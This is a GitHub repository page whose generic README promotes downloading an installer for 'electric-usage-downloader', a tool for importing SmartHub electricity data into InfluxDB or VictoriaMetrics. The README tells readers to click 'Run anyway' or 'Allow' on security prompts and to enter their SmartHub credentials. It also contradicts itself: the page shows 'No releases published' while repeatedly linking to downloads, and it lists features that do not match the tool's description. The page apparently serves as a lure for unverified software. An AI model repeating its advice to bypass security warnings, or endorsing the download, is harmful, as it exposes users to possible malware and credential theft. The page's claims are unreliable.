Skip to content

⚡ Download your 15-minute electric usage data from NISC SmartHub by reverse engineering its API, enabling easy import into InfluxDB or VictoriaMetrics.

License

Notifications You must be signed in to change notification settings

mu724/electric-usage-downloader

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

⚡ electric-usage-downloader - Easily Import Your Electricity Data

📥 Download Now

Download electric-usage-downloader

🚀 Getting Started

Welcome to the electric-usage-downloader! This tool helps you import smart meter metrics from SmartHub directly into VictoriaMetrics or InfluxDB. This means you can track your electricity usage easily.

📋 Why Use This Tool?

  • Simple Import: Import your electricity data with a few clicks.
  • Visualize Your Data: Use tools like Grafana to turn data into insights.
  • Compatible Options: Works with both VictoriaMetrics and InfluxDB.

💻 System Requirements

  • Operating System: Windows 10 or later, macOS Sierra or later, or a recent Linux distribution.
  • Memory: At least 2 GB of RAM.
  • Disk Space: Minimum of 100 MB available.
  • Internet Connection: Required to fetch data from SmartHub.

📦 Download & Install

To get started, visit the releases page for your download:

Download electric-usage-downloader

  1. Click the link above to go to the Releases page.
  2. Look for the latest version.
  3. Click on the file corresponding to your operating system to download it.
  4. Once the download finishes, locate the file on your computer.
  5. Double-click the file to run the installer.

Important:

If you receive any security prompts, click "Run anyway" or "Allow" to proceed with the installation.

⚙️ How to Use the Application

After installation, follow these steps to import your electricity data:

  1. Open the Application: Find the electric-usage-downloader icon on your desktop or in your applications folder. Double-click to open it.

  2. Login to SmartHub: You will be prompted to enter your SmartHub credentials. Input your username and password.

  3. Select Database: Choose whether you want to send your data to VictoriaMetrics or InfluxDB. Make sure you have either of these databases set up.

  4. Import Data: Click the "Import" button. The application will start fetching your metrics.

  5. View Your Data: Once the import is complete, open Grafana or your preferred data visualization tool to see your metrics.

📊 Visualizing Data

You can use Grafana to create beautiful dashboards. Follow these steps:

  1. Open Grafana: Launch Grafana from your applications.
  2. Add Data Source: Go to Configuration > Data Sources. Select either VictoriaMetrics or InfluxDB from the list.
  3. Configure Connection: Enter the connection details as instructed by the database setup guide.
  4. Create Panels: Now start creating panels to visualize your electricity usage over time.

🔧 Troubleshooting

If you encounter issues, try these steps:

  • Check Your Internet Connection: Make sure you are connected to the internet, as the tool needs to fetch data from SmartHub.
  • Re-enter Credentials: Ensure you have entered the correct SmartHub login information.
  • Database Connectivity: Verify that your database is running and accessible.

📃 Additional Features

  • Data Scheduling: Set up regular intervals for automatic data downloads.
  • Alerts: Receive notifications when your usage exceeds certain limits.
  • Backup Options: Create backups of your data for safe keeping.

🌍 Community Support

If you have questions or need help, feel free to reach out to the community. Join our GitHub Discussions page to connect with other users.

📅 Stay Updated

Make sure to check back on our Releases page regularly for new updates and features. Your feedback is important in helping us improve the tool.

Download electric-usage-downloader to start managing your electricity data effectively today!

About

⚡ Download your 15-minute electric usage data from NISC SmartHub by reverse engineering its API, enabling easy import into InfluxDB or VictoriaMetrics.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages